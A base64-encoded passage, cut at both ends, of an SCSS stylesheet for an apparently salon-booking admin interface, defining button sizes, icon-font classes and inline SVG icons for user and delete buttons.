biAgICB9XG4gICAgQGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLmJwKGRlc2t0b3ApIHtcbiAgICAgICY6YWZ0ZXIge1xuICAgICAgICBwYWRkaW5nOiAwIHNldHRpbmdzLW1peGlucy5yZW0oMzBweCk7XG4gICAgICAgIGZvbnQtc2l6ZTogc2V0dGluZ3MtbWl4aW5zLnJlbSgzMHB4KTtcbiAgICAgIH1cbiAgICB9XG4gIH1cbiAgJi5zbG4tYnRuLS1iYW5uZXJfX2N0YSB7XG4gICAgcGFkZGluZy1yaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSg2NHB4KTtcbiAgICAmOmFmdGVyIHtcbiAgICAgIHBhZGRpbmc6IDAgc2V0dGluZ3MtbWl4aW5zLnJlbSgyNHB4KTtcbiAgICAgIGxpbmUtaGVpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDcycHgpO1xuICAgIH1cbiAgICBAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuYnAodGFibGV0KSB7XG4gICAgICAmOmFmdGVyIHtcbiAgICAgICAgbGluZS1oZWlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oOTBweCk7XG4gICAgICAgIHBhZGRpbmc6IDAgc2V0dGluZ3MtbWl4aW5zLnJlbSgzMHB4KTtcbiAgICAgICAgZm9udC1zaXplOiBzZXR0aW5ncy1taXhpbnMucmVtKDMwcHgpO1xuICAgICAgfVxuICAgIH1cbiAgfVxuICAmLnNsbi1idG4tLW1lZGl1bSB7XG4gICAgcGFkZGluZy1yaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSg1NHB4KTtcbiAgICAmOmFmdGVyIHtcbiAgICAgIHBhZGRpbmc6IDAgc2V0dGluZ3MtbWl4aW5zLnJlbSgxMnB4KTtcbiAgICAgIGZvbnQtc2l6ZTogc2V0dGluZ3MtbWl4aW5zLnJlbSgxOHB4KTtcbiAgICAgIGxpbmUtaGVpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDQwcHgpO1xuICAgIH1cbiAgfVxuICAmLnNsbi1idG4tLWxhcmdlIHtcbiAgICBwYWRkaW5nLXJpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDE1NHB4KTtcbiAgICAmOmFmdGVyIHtcbiAgICAgIHBhZGRpbmc6IDAgc2V0dGluZ3MtbWl4aW5zLnJlbSgxMnB4KTtcbiAgICAgIGZvbnQtc2l6ZTogc2V0dGluZ3MtbWl4aW5zLnJlbSgxOHB4KTtcbiAgICAgIGxpbmUtaGVpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDY2cHgpO1xuICAgIH1cbiAgfVxuICAmLnNsbi1idG4tLWljb24tLWxlZnQge1xuICAgIGJ1dHRvbiB7XG4gICAgICB0ZXh0LWFsaWduOiByaWdodDtcbiAgICB9XG4gICAgJjphZnRlciB7XG4gICAgICB0b3A6IDA7XG4gICAgICByaWdodDogYXV0bztcbiAgICAgIHJpZ2h0OiBpbml0aWFsO1xuICAgICAgYm90dG9tOiAwO1xuICAgICAgbGVmdDogMDtcbiAgICB9XG4gICAgJi5zbG4tYnRuLS1iaWcge1xuICAgICAgcGFkZGluZy1yaWdodDogaW5oZXJpdDtcbiAgICAgIHBhZGRpbmctbGVmdDogc2V0dGluZ3MtbWl4aW5zLnJlbSg2NHB4KTtcbiAgICAgICY6YWZ0ZXIge1xuICAgICAgICBwYWRkaW5nOiAwIHNldHRpbmdzLW1peGlucy5yZW0oMTJweCk7XG4gICAgICAgIGxpbmUtaGVpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDQ4cHgpO1xuICAgICAgfVxuICAgIH1cbiAgICAmLnNsbi1idG4tLW1lZGl1bSB7XG4gICAgICBwYWRkaW5nLXJpZ2h0OiBpbmhlcml0O1xuICAgICAgcGFkZGluZy1sZWZ0OiBzZXR0aW5ncy1taXhpbnMucmVtKDU0cHgpO1xuICAgICAgJjphZnRlciB7XG4gICAgICAgIHBhZGRpbmc6IDAgc2V0dGluZ3MtbWl4aW5zLnJlbSgxMnB4KTtcbiAgICAgICAgZm9udC1zaXplOiBzZXR0aW5ncy1taXhpbnMucmVtKDE4cHgpO1xuICAgICAgICBsaW5lLWhlaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSg0MHB4KTtcbiAgICAgIH1cbiAgICB9XG4gIH1cbiAgJi5zbG4tYnRuLS1pY29uLS1sZWZ0LS1hbHQge1xuICAgICY6YWZ0ZXIge1xuICAgICAgZGlzcGxheTogaW5saW5lLWJsb2NrO1xuICAgICAgcG9zaXRpb246IGFic29sdXRlO1xuICAgICAgdG9wOiA1MCU7XG4gICAgICByaWdodDogdW5zZXQ7XG4gICAgICBib3R0b206IHVuc2V0O1xuICAgICAgbGVmdDogc2V0dGluZ3MtbWl4aW5zLnJlbSgzcHgpO1xuICAgICAgdHJhbnNmb3JtOiB0cmFuc2xhdGVZKC01MCUpO1xuICAgICAgdGV4dC1hbGlnbjogY2VudGVyO1xuICAgICAgQGV4dGVuZCAlZm9udC1pY29uO1xuICAgICAgei1pbmRleDogMjAwO1xuICAgIH1cbiAgICAmLnNsbi1idG4tLWJpZyB7XG4gICAgICBwYWRkaW5nLXJpZ2h0OiBpbmhlcml0O1xuICAgICAgcGFkZGluZy1sZWZ0OiBzZXR0aW5ncy1taXhpbnMucmVtKDY0cHgpO1xuICAgICAgJjphZnRlciB7XG4gICAgICAgIHBhZGRpbmc6IDAgc2V0dGluZ3MtbWl4aW5zLnJlbSgxMnB4KTtcbiAgICAgICAgbGluZS1oZWlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oNDhweCk7XG4gICAgICB9XG4gICAgICAmLnNsbi1idG4tLXRleHRvbmx5IHtcbiAgICAgICAgcGFkZGluZy1sZWZ0OiBzZXR0aW5ncy1taXhpbnMucmVtKDQ1cHgpO1xuICAgICAgfVxuICAgIH1cbiAgICAmLnNsbi1idG4tLW1lZGl1bSB7XG4gICAgICBwYWRkaW5nLXJpZ2h0OiBpbmhlcml0O1xuICAgICAgcGFkZGluZy1sZWZ0OiBzZXR0aW5ncy1taXhpbnMucmVtKDU0cHgpO1xuICAgICAgJjphZnRlciB7XG4gICAgICAgIHBhZGRpbmc6IDAgc2V0dGluZ3MtbWl4aW5zLnJlbSgxMnB4KTtcbiAgICAgICAgZm9udC1zaXplOiBzZXR0aW5ncy1taXhpbnMucmVtKDE4cHgpO1xuICAgICAgICBsaW5lLWhlaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSg0MHB4KTtcbiAgICAgIH1cbiAgICB9XG4gIH1cbn1cbi8qIEZJWCAwOTIwMjNcbi5zbG4tYnRuLS1jYWwtZGF5LXNlbGVjdCxcbi5jYWxlbmRhci1ob2x5ZGF5cy1idXR0b24ge1xuICAmOmFmdGVyIHtcbiAgICB0b3A6IDAuOHJlbTtcbiAgICBsZWZ0OiAxLjVyZW07XG4gICAgcmlnaHQ6IDEwMCU7XG4gIH1cbn1cbiovXG4uc2xuLWJ0bi0taWNvbixcbi5zbG4tYm9vdHN0cmFwIC5zbG4tYnRuLS1pY29uIHtcbiAgdGV4dC1hbGlnbjogbGVmdDtcbn1cbi5zbG4taWNvbi0tY2hlY2ttYXJrIHtcbiAgJjphZnRlciB7XG4gICAgY29udGVudDogJ1xcZjAwYyc7XG4gIH1cbn1cbi5zbG4taWNvbi0taW5mby1jaXJjbGUge1xuICAmOmFmdGVyIHtcbiAgICBjb250ZW50OiAnXFxmMDVhJztcbiAgfVxufVxuLnNsbi1pY29uLS1jYWxlbmRhciB7XG4gICY6YWZ0ZXIge1xuICAgIGNvbnRlbnQ6ICdcXGYwNzMnO1xuICB9XG59XG4uc2xuLWljb24tLWJvb2tpbmcge1xuICAmOmFmdGVyIHtcbiAgICBjb250ZW50OiAnXFxmMDE3JztcbiAgICBmb250LXdlaWdodDogNDAwO1xuICB9XG59XG4uc2xuLWljb24tLXNlcnZpY2VzIHtcbiAgJjphZnRlciB7XG4gICAgY29udGVudDogJ1xcZjBjNCc7XG4gIH1cbn1cbi5zbG4taWNvbi0tYXNzaXN0YW50cyB7XG4gICY6YWZ0ZXIge1xuICAgIGNvbnRlbnQ6ICdcXGYwYzAnO1xuICB9XG59XG4uc2xuLWljb24tLXNldHRpbmdzIHtcbiAgJjphZnRlciB7XG4gICAgY29udGVudDogJ1xcZjAxMyc7XG4gIH1cbn1cbi5zbG4taWNvbi0tdG9vbHMge1xuICAmOmFmdGVyIHtcbiAgICBjb250ZW50OiAnXFxmMGFkJztcbiAgfVxufVxuLnNsbi1pY29uLS1zYXZlIHtcbiAgJjphZnRlciB7XG4gICAgY29udGVudDogJ1xcZjBjNyc7XG4gICAgZm9udC13ZWlnaHQ6IDQwMDtcbiAgfVxufVxuLnNsbi1pY29uLS1yZXNldCB7XG4gICY6YWZ0ZXIge1xuICAgIGNvbnRlbnQ6ICdcXGYwMWUnO1xuICAgIGZvbnQtd2VpZ2h0OiA0MDA7XG4gIH1cbn1cbi5zbG4taWNvbi0taW5mbyB7XG4gICY6YWZ0ZXIge1xuICAgIGNvbnRlbnQ6ICdcXGYwNWEnO1xuICB9XG59XG4uc2xuLWljb24tLWNsb3NlIHtcbiAgJjphZnRlciB7XG4gICAgY29udGVudDogJ1xcZjAwZCc7XG4gIH1cbn1cbi5zbG4taWNvbi0tZWRpdCB7XG4gICY6YWZ0ZXIge1xuICAgIGNvbnRlbnQ6ICdcXGYwNDQnO1xuICAgIGZvbnQtd2VpZ2h0OiA0MDA7XG4gIH1cbn1cbi5zbG4taWNvbi0tdHJhc2gge1xuICAmOmFmdGVyIHtcbiAgICBmb250LXdlaWdodDogdmFyKC0tZm9udC13ZWlnaHQsIDQwMCk7XG4gICAgZm9udC1zdHlsZTogbm9ybWFsO1xuICAgIGNvbnRlbnQ6ICdcXGYxZjgnO1xuICB9XG59XG4vLyAuc2xuLWljb24tLXVubG9jayB7XG4vLyAgICY6YWZ0ZXIge1xuLy8gICAgIC8vZm9udC13ZWlnaHQ6IHZhcigtLWZvbnQtd2VpZ2h0LCA0MDApO1xuLy8gICAgIGZvbnQtc3R5bGU6IG5vcm1hbDtcbi8vICAgICBjb250ZW50OiAnXFxmMDljJztcbi8vICAgfVxuLy8gfVxuLnNsbi1pY29uLS1maWxlIHtcbiAgJjphZnRlciB7XG4gICAgZm9udC13ZWlnaHQ6IDQwMDtcbiAgICBjb250ZW50OiAnXFxmMTVjJztcbiAgfVxufVxuLnNsbi1pY29uLS13YXJuaW5nIHtcbiAgJjphZnRlciB7XG4gICAgY29udGVudDogJ1xcZjEyYSc7XG4gICAgZm9udC1zaXplOiBzZXR0aW5ncy1taXhpbnMucmVtKDI4cHgpO1xuICB9XG59XG4uc2xuLWljb24tLXF1ZXN0aW9uIHtcbiAgJjphZnRlciB7XG4gICAgY29udGVudDogJ1xcZjEyOCc7XG4gICAgZm9udC1zaXplOiBzZXR0aW5ncy1taXhpbnMucmVtKDI4cHgpO1xuICB9XG59XG5cbi5zbG4taWNvbi0tYXJyb3ctLXVwIHtcbiAgJjphZnRlciB7XG4gICAgY29udGVudDogJ1xcZjA3Nyc7XG4gICAgZm9udC1zaXplOiBzZXR0aW5ncy1taXhpbnMucmVtKDI4cHgpO1xuICB9XG4gICYuY29sbGFwc2VkOjphZnRlciB7XG4gICAgY29udGVudDogJ1xcZjA3OCc7XG4gIH1cbn1cbi5zbG4taWNvbi0tYXJyb3ctLWRvd24ge1xuICAmOmFmdGVyIHtcbiAgICBjb250ZW50OiAnXFxmMDc4JztcbiAgICBmb250LXNpemU6IHNldHRpbmdzLW1peGlucy5yZW0oMjhweCk7XG4gIH1cbn1cbi5zbG4taWNvbi0tZG9jcyB7XG4gICY6YWZ0ZXIge1xuICAgIGNvbnRlbnQ6ICdcXGYwMmQnO1xuICAgIGZvbnQtc2l6ZTogc2V0dGluZ3MtbWl4aW5zLnJlbSgyOHB4KTtcbiAgfVxufVxuLnNsbi1pY29uLS1zdGFyIHtcbiAgJjphZnRlciB7XG4gICAgY29udGVudDogJ1xcZjAwNSc7XG4gICAgZm9udC1zaXplOiBzZXR0aW5ncy1taXhpbnMucmVtKDI4cHgpO1xuICB9XG59XG4uc2xuLWljb24tLXBsYXkge1xuICAmOmFmdGVyIHtcbiAgICBjb250ZW50OiAnXFxmMDRiJztcbiAgICBmb250LXNpemU6IHNldHRpbmdzLW1peGlucy5yZW0oMjhweCk7XG4gIH1cbn1cbi5zbG4taWNvbi0tbGlnaHRidWxiIHtcbiAgJjphZnRlciB7XG4gICAgY29udGVudDogJ1xcZjBlYic7XG4gICAgZm9udC13ZWlnaHQ6IDQwMDtcbiAgICBmb250LXNpemU6IHNldHRpbmdzLW1peGlucy5yZW0oMzNweCk7XG4gIH1cbn1cbi5zbG4taWNvbi0tdG9nZ2xlIHtcbiAgJjphZnRlciB7XG4gICAgY29udGVudDogJ1xcZjIwNSc7XG4gIH1cbiAgJi5zbG4tYnRuLS1iYW5uZXJfX2N0YTo6YWZ0ZXIge1xuICAgIGZvbnQtc2l6ZTogc2V0dGluZ3MtbWl4aW5zLnJlbSg0MHB4KTtcbiAgfVxufVxuLnNsbi1idG4tLWljb24uc2xuLWJ0bi0tbWVnYS5zbG4taWNvbi0tbGlnaHRidWxiOmFmdGVyIHtcbiAgQGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLmJwKGRlc2t0b3ApIHtcbiAgICAvL2ZvbnQtc2l6ZTogc2V0dGluZ3MtbWl4aW5zLnJlbSgzNnB4KTtcbiAgfVxufVxuLnNsbi1pY29uLS1tZWRraXQge1xuICAmOmFmdGVyIHtcbiAgICBjb250ZW50OiAnXFxmMGZhJztcbiAgICBmb250LXNpemU6IHNldHRpbmdzLW1peGlucy5yZW0oMjhweCk7XG4gIH1cbn1cbi5zbG4taWNvbi0taGVscGNoYXQge1xuICAmOmFmdGVyIHtcbiAgICBjb250ZW50OiAnXFxmMDg2JztcbiAgICAvL2NvbnRlbnQ6IFwiXFxmMWNkXCI7XG4gICAgZm9udC1zaXplOiBzZXR0aW5ncy1taXhpbnMucmVtKDI0cHgpO1xuICB9XG4gICYuYWN0aXZlOmFmdGVyIHtcbiAgICBjb250ZW50OiAnXFxmMDBkJztcbiAgfVxufVxuXG4uc2xuLWljb24tLWFycm93LS1sZWZ0IHtcbiAgJjphZnRlciB7XG4gICAgY29udGVudDogJ1xcZjA1Myc7XG4gICAgbGluZS1oZWlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oNDZweCkgIWltcG9ydGFudDtcbiAgfVxuICAmLnNsbi1idG4tLWxhcmdlIHtcbiAgICAmOmFmdGVyIHtcbiAgICAgIGxpbmUtaGVpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDY2cHgpICFpbXBvcnRhbnQ7XG4gICAgfVxuICB9XG4gIEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5icChkZXNrdG9wKSB7XG4gICAgJi5zbG4tYnRuLS1sYXJnZTphZnRlciB7XG4gICAgICBsaW5lLWhlaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSg0NnB4KSAhaW1wb3J0YW50O1xuICAgIH1cbiAgfVxufVxuLnNsbi1pY29uLS1hcnJvdy0tcmlnaHQge1xuICAmOmFmdGVyIHtcbiAgICBjb250ZW50OiAnXFxmMDU0JztcbiAgICBsaW5lLWhlaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSg0NnB4KSAhaW1wb3J0YW50O1xuICB9XG4gICYuc2xuLWJ0bi0tbGFyZ2Uge1xuICAgICY6YWZ0ZXIge1xuICAgICAgbGluZS1oZWlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oNjZweCkgIWltcG9ydGFudDtcbiAgICB9XG4gIH1cbiAgQGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLmJwKGRlc2t0b3ApIHtcbiAgICAmLnNsbi1idG4tLWxhcmdlOmFmdGVyIHtcbiAgICAgIGxpbmUtaGVpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDQ2cHgpICFpbXBvcnRhbnQ7XG4gICAgfVxuICB9XG59XG5cbi5zbG4taWNvbi0tcGx1cyB7XG4gICY6YWZ0ZXIge1xuICAgIGZvbnQtd2VpZ2h0OiA5MDA7XG4gICAgY29udGVudDogJ1xcZjA2Nyc7XG4gICAgcGFkZGluZzogMS4ycmVtIDAuNnJlbTtcbiAgICBmb250LXNpemU6IDEuNnJlbTtcbiAgfVxufVxuLnNsbi1pY29uLS10aW1lcyxcbi5zbG4tYnRuLS1pY29uLnNsbi1idG4tLWljb24tLWxlZnQtLWFsdC5zbG4taWNvbi0tdGltZXMge1xuICAmOmFmdGVyIHtcbiAgICBmb250LXdlaWdodDogNDAwO1xuICAgIGNvbnRlbnQ6ICdcXGYwNTcnO1xuICB9XG59XG5cbi5zbG4taWNvbi0tcGx1cy1jaXJjbGUge1xuICBncmlkLWNvbHVtbjogMjtcbiAgZ3JpZC1yb3c6IDM7XG4gIGp1c3RpZnktc2VsZjogZW5kO1xuICBmb250LXNpemU6IDEuNWVtO1xuICBmb250LXN0eWxlOiBub3JtYWw7XG4gIGNvbG9yOiBhZG1pbl9jb25maWcuJHNsbi1jb2xvci0tYnRuLWNhbC1kYXktYmc7XG4gICY6YWZ0ZXIge1xuICAgIGZvbnQtd2VpZ2h0OiA5MDA7XG4gICAgY29udGVudDogJ1xcZjA1NSc7XG4gICAgd2lkdGg6IDIwcHg7XG4gICAgaGVpZ2h0OiAyMHB4O1xuICAgIHRyYW5zZm9ybS1vcmlnaW46IDUwJSA3Mi41JTtcbiAgICBmb250LXNpemU6IDFlbTtcbiAgfVxuICAmOmhvdmVyIHtcbiAgICBjdXJzb3I6IHBvaW50ZXI7XG4gICAgY29sb3I6ICNkZWRlZGU7XG4gIH1cbn1cbi8qIEZJWCAwOTIwMjMgXG4uc2xuLWljb24tLXBlbiB7XG4gICY6YWZ0ZXIge1xuICAgIGZvbnQtc3R5bGU6IG5vcm1hbDtcbiAgICBjb250ZW50OiBcIlxcZjMwNFwiO1xuICB9XG59XG5cbi5zbG4taWNvbi0tY29weSB7XG4gICY6YWZ0ZXIge1xuICAgIGZvbnQtc3R5bGU6IG5vcm1hbDtcbiAgICBjb250ZW50OiBcIlxcZjBjNVwiO1xuICB9XG59XG5cbi5zbG4taWNvbi0tdXNlci1jaGVjayB7XG4gICY6YWZ0ZXIge1xuICAgIGZvbnQtc3R5bGU6IG5vcm1hbDtcbiAgICBjb250ZW50OiBcIlxcZjRmY1wiO1xuICB9XG59XG5cbi5zbG4taWNvbi0tbG9jayB7XG4gICY6YWZ0ZXIge1xuICAgIGZvbnQtd2VpZ2h0OiA5MDA7XG4gICAgY29udGVudDogXCJcXGYwMjNcIjtcbiAgICBwYWRkaW5nOiAxLjFyZW0gMC43cmVtO1xuICAgIGZvbnQtc2l6ZTogMS4zcmVtO1xuICB9XG59XG4qL1xuI3Nsbl9ib29raW5nLWRldGFpbHMsXG4jc2xuLXNhbG9uLS1hZG1pbiB7XG4gIC5zbG4taWNvbi0tY3VzdG9tZXJ1cmwsXG4gIC5zbG4tYnRuLnNsbi1pY29uLS1jdXN0b21lcnVybCB7XG4gICAgd2lkdGg6IGZpdC1jb250ZW50O1xuICAgIGRpc3BsYXk6IGZsZXg7XG4gICAgZmxleC1kaXJlY3Rpb246IHJvdy1yZXZlcnNlO1xuICAgIGp1c3RpZnktY29udGVudDogZmxleC1lbmQ7XG4gICAgYWxpZ24taXRlbXM6IGNlbnRlcjtcbiAgICBnYXA6IDAuNnJlbTtcbiAgICBwYWRkaW5nOiAxcmVtO1xuICAgIGZvbnQtc2l6ZTogMS4xMjVyZW07XG5cbiAgICBiYWNrZ3JvdW5kLWNvbG9yOiB0cmFuc3BhcmVudDtcbiAgICBjb2xvcjogY29sb3JzLW51LnNsbi1udWNvbG9yLS1tYWluLS1kYXJrKDEpO1xuICAgIGJvcmRlci1zdHlsZTogc29saWQ7XG4gICAgYm9yZGVyLXdpZHRoOiAxcHggMnB4IDJweCAxcHg7XG4gICAgYm9yZGVyLWNvbG9yOiB0cmFuc3BhcmVudDtcblxuICAgIHRyYW5zaXRpb246IGFsbCAyNTBtcztcbiAgICAmOmFmdGVyIHtcbiAgICAgIGRpc3BsYXk6IGlubGluZS1ibG9jaztcbiAgICAgIHdpZHRoOiAxLjM1cmVtO1xuICAgICAgaGVpZ2h0OiAxLjVyZW07XG4gICAgICBjb250ZW50OiAnJztcbiAgICAgIHRyYW5zaXRpb246IGFsbCAyNTBtcztcbiAgICAgIGJhY2tncm91bmQtc2l6ZTogY29udGFpbjtcbiAgICAgIGJhY2tncm91bmQtcmVwZWF0OiBuby1yZXBlYXQ7XG4gICAgICBiYWNrZ3JvdW5kLWltYWdlOiB1cmwoXCJkYXRhOmltYWdlL3N2Zyt4bWwsJTNDc3ZnIHhtbG5zPSdodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2Zycgd2lkdGg9JzI3JyBoZWlnaHQ9JzMwJyB2aWV3Qm94PScwIDAgMjcgMzAnJTNFJTNDZyBpZD0nSWNvbl9mZWF0aGVyLXVzZXInIGRhdGEtbmFtZT0nSWNvbiBmZWF0aGVyLXVzZXInIHRyYW5zZm9ybT0ndHJhbnNsYXRlKC00LjUgLTMpJyUzRSUzQ3BhdGggaWQ9J1RyYWNjaWF0b18xMicgZGF0YS1uYW1lPSdUcmFjY2lhdG8gMTInIGQ9J00zMCwzM2ExLjUsMS41LDAsMCwxLTEuNS0xLjV2LTNBNC41MDUsNC41MDUsMCwwLDAsMjQsMjRIMTJhNC41LDQuNSwwLDAsMC00LjUsNC41djNhMS41LDEuNSwwLDAsMS0zLDB2LTNBNy41LDcuNSwwLDAsMSwxMiwyMUgyNGE3LjUwOSw3LjUwOSwwLDAsMSw3LjUsNy41djNBMS41LDEuNSwwLDAsMSwzMCwzM1onIGZpbGw9JyUyMzAwMzU1MycvJTNFJTNDcGF0aCBpZD0nVHJhY2NpYXRvXzEzJyBkYXRhLW5hbWU9J1RyYWNjaWF0byAxMycgZD0nTTE4LDNhNy41LDcuNSwwLDEsMS03LjUsNy41QTcuNTA4LDcuNTA4LDAsMCwxLDE4LDNabTAsMTJhNC41LDQuNSwwLDEsMC00LjUtNC41QTQuNTA1LDQuNTA1LDAsMCwwLDE4LDE1WicgZmlsbD0nJTIzMDAzNTUzJy8lM0UlM0MvZyUzRSUzQy9zdmclM0UlMEFcIik7XG4gICAgfVxuICAgIEBtZWRpYSAoaG92ZXI6IGhvdmVyKSwgKC1tcy1oaWdoLWNvbnRyYXN0OiBub25lKSB7XG4gICAgICAmOmhvdmVyLFxuICAgICAgJjpmb2N1cyB7XG4gICAgICAgIHRleHQtZGVjb3JhdGlvbjogbm9uZTtcbiAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogY29sb3JzLW51LnNsbi1udWNvbG9yLS1tYWluKDAuMik7XG4gICAgICAgIGNvbG9yOiBjb2xvcnMtbnUuc2xuLW51Y29sb3ItLW1haW4tLWRhcmsoMSk7XG4gICAgICAgIGJvcmRlci1jb2xvcjogY29sb3JzLW51LnNsbi1udWNvbG9yLS1tYWluKDEpO1xuICAgICAgfVxuICAgICAgLy8gJjpob3ZlciB7XG4gICAgICAvLyBcdGJhY2tncm91bmQtY29sb3I6ICRjbF9tYWluO1xuICAgICAgLy8gXHRjb2xvcjogJGNsX21haW4tLXdoaXRlO1xuICAgICAgLy8gXHR0ZXh0LWRlY29yYXRpb246IG5vbmU7XG4gICAgICAvLyBcdCY6OmFmdGVyIHtcbiAgICAgIC8vIFx0XHRiYWNrZ3JvdW5kLWltYWdlOiB1cmwoXCJkYXRhOmltYWdlL3N2Zyt4bWwsJTNDc3ZnIHhtbG5zPSdodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2Zycgd2lkdGg9JzI3JyBoZWlnaHQ9JzMwJyB2aWV3Qm94PScwIDAgMjcgMzAnJTNFJTNDZyBpZD0nSWNvbl9mZWF0aGVyLXVzZXInIGRhdGEtbmFtZT0nSWNvbiBmZWF0aGVyLXVzZXInIHRyYW5zZm9ybT0ndHJhbnNsYXRlKC00LjUgLTMpJyUzRSUzQ3BhdGggaWQ9J1RyYWNjaWF0b18xMicgZGF0YS1uYW1lPSdUcmFjY2lhdG8gMTInIGQ9J00zMCwzM2ExLjUsMS41LDAsMCwxLTEuNS0xLjV2LTNBNC41MDUsNC41MDUsMCwwLDAsMjQsMjRIMTJhNC41LDQuNSwwLDAsMC00LjUsNC41djNhMS41LDEuNSwwLDAsMS0zLDB2LTNBNy41LDcuNSwwLDAsMSwxMiwyMUgyNGE3LjUwOSw3LjUwOSwwLDAsMSw3LjUsNy41djNBMS41LDEuNSwwLDAsMSwzMCwzM1onIGZpbGw9JyUyM2ZmZmZmZicvJTNFJTNDcGF0aCBpZD0nVHJhY2NpYXRvXzEzJyBkYXRhLW5hbWU9J1RyYWNjaWF0byAxMycgZD0nTTE4LDNhNy41LDcuNSwwLDEsMS03LjUsNy41QTcuNTA4LDcuNTA4LDAsMCwxLDE4LDNabTAsMTJhNC41LDQuNSwwLDEsMC00LjUtNC41QTQuNTA1LDQuNTA1LDAsMCwwLDE4LDE1WicgZmlsbD0nJTIzZmZmZmZmJy8lM0UlM0MvZyUzRSUzQy9zdmclM0UlMEFcIik7XG4gICAgICAvLyBcdH1cbiAgICAgIC8vIH1cbiAgICB9XG4gIH1cbiAgI3Nsbi1ib29raW5nX19jdXN0b21lcl9fcmVzZXQsXG4gIC5zbG4tYm9va2luZy0tcmVzZXQge1xuICAgIGRpc3BsYXk6IGZsZXg7XG4gICAgZmxleC1kaXJlY3Rpb246IHJvdy1yZXZlcnNlO1xuICAgIGp1c3RpZnktY29udGVudDogZmxleC1lbmQ7XG4gICAgYWxpZ24taXRlbXM6IGNlbnRlcjtcbiAgICBnYXA6IDAuNnJlbTtcbiAgICBwYWRkaW5nOiAxcmVtO1xuICAgIGJhY2tncm91bmQtY29sb3I6IHRyYW5zcGFyZW50O1xuICAgIGNvbG9yOiBjb2xvcnMtbnUuc2xuLWFkbWluX251Y29sb3ItLXByb2JsZW0tLWRhcmsoMSk7XG4gICAgYm9yZGVyLXN0eWxlOiBzb2xpZDtcbiAgICBib3JkZXItd2lkdGg6IDFweCAycHggMnB4IDFweDtcbiAgICBib3JkZXItY29sb3I6IHRyYW5zcGFyZW50O1xuICAgIGZvbnQtc2l6ZTogMS4xMjVyZW07XG4gICAgdHJhbnNpdGlvbjogYWxsIDI1MG1zO1xuICAgICY6YWZ0ZXIge1xuICAgICAgZGlzcGxheTogaW5saW5lLWJsb2NrO1xuICAgICAgd2lkdGg6IDEuMzVyZW07XG4gICAgICBoZWlnaHQ6IDEuNXJlbTtcbiAgICAgIGNvbnRlbnQ6ICcnO1xuICAgICAgdHJhbnNpdGlvbjogYWxsIDI1MG1zO1xuICAgICAgYmFja2dyb3VuZC1zaXplOiBjb250YWluO1xuICAgICAgYmFja2dyb3VuZC1yZXBlYXQ6IG5vLXJlcGVhdDtcbiAgICAgIC8vIGJhY2tncm91bmQtaW1hZ2U6IHVybChcImRhdGE6aW1hZ2Uvc3ZnK3htbCwlM0NzdmcgeG1sbnM9J2h0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnJyB3aWR0aD0nMjUuNTInIGhlaWdodD0nMzAnIHZpZXdCb3g9JzAgMCAyNS41MiAzMCclM0UlM0NnIGlkPSdub3VuLWRlbGV0ZS03NDA2NzQwJyB0cmFuc2Zvcm09J3RyYW5zbGF0ZSgtMjEuMDc4IC03KSclM0UlM0NwYXRoIGlkPSdUcmFjY2lhdG9fMTInIGRhdGEtbmFtZT0nVHJhY2NpYXRvIDEyJyBkPSdNMjcsMjhWNDQuNDQ4YTQuMjkyLDQuMjkyLDAsMCwwLDQuMjg4LDQuMjg4SDQzYTQuMjkyLDQuMjkyLDAsMCwwLDQuMjg4LTQuMjg4VjI4SDQ0LjY0MlY0NC40NDhBMS42NDMsMS42NDMsMCwwLDEsNDMsNDYuMDg4SDMxLjI4OGExLjY0NSwxLjY0NSwwLDAsMS0xLjY0MS0xLjY0MVYyOFonIHRyYW5zZm9ybT0ndHJhbnNsYXRlKC0zLjMwOSAtMTEuNzM1KScgZmlsbD0nJTIzYTAxNTE0Jy8lM0UlM0NwYXRoIGlkPSdUcmFjY2lhdG9fMTMnIGRhdGEtbmFtZT0nVHJhY2NpYXRvIDEzJyBkPSdNNDEsMzVoMi42NDdWNDUuNDIxSDQxWicgdHJhbnNmb3JtPSd0cmFuc2xhdGUoLTExLjEzMyAtMTUuNjQ3KScgZmlsbD0nJTIzYTAxNTE0Jy8lM0UlM0NwYXRoIGlkPSdUcmFjY2lhdG9fMTQnIGRhdGEtbmFtZT0nVHJhY2NpYXRvIDE0JyBkPSdNNTIsMzVoMi42NDdWNDUuNDIxSDUyWicgdHJhbnNmb3JtPSd0cmFuc2xhdGUoLTE3LjI4IC0xNS42NDcpJyBmaWxsPSclMjNhMDE1MTQnLyUzRSUzQ3BhdGggaWQ9J1RyYWNjaWF0b18xNScgZGF0YS1uYW1lPSdUcmFjY2lhdG8gMTUnIGQ9J000Ni42LDExLjQxMkg0MS4zOTFMNDAuMjYyLDguNTkyQTIuNTI4LDIuNTI4LDAsMCwwLDM3LjkxLDdIMzAuMjg2QTIuNTMxLDIuNTMxLDAsMCwwLDI3LjkzLDguNTkyTDI2LjgsMTEuNDEySDIxLjA3OHYyLjY0N0g0Ni41OWwwLTIuNjQ3Wk0zMC4zNjIsOS42NDdoNy40NzRsLjcwNywxLjc2NUgyOS42NTVaJyBmaWxsPSclMjNhMDE1MTQnLyUzRSUzQy9nJTNFJTNDL3N2ZyUzRSUwQVwiK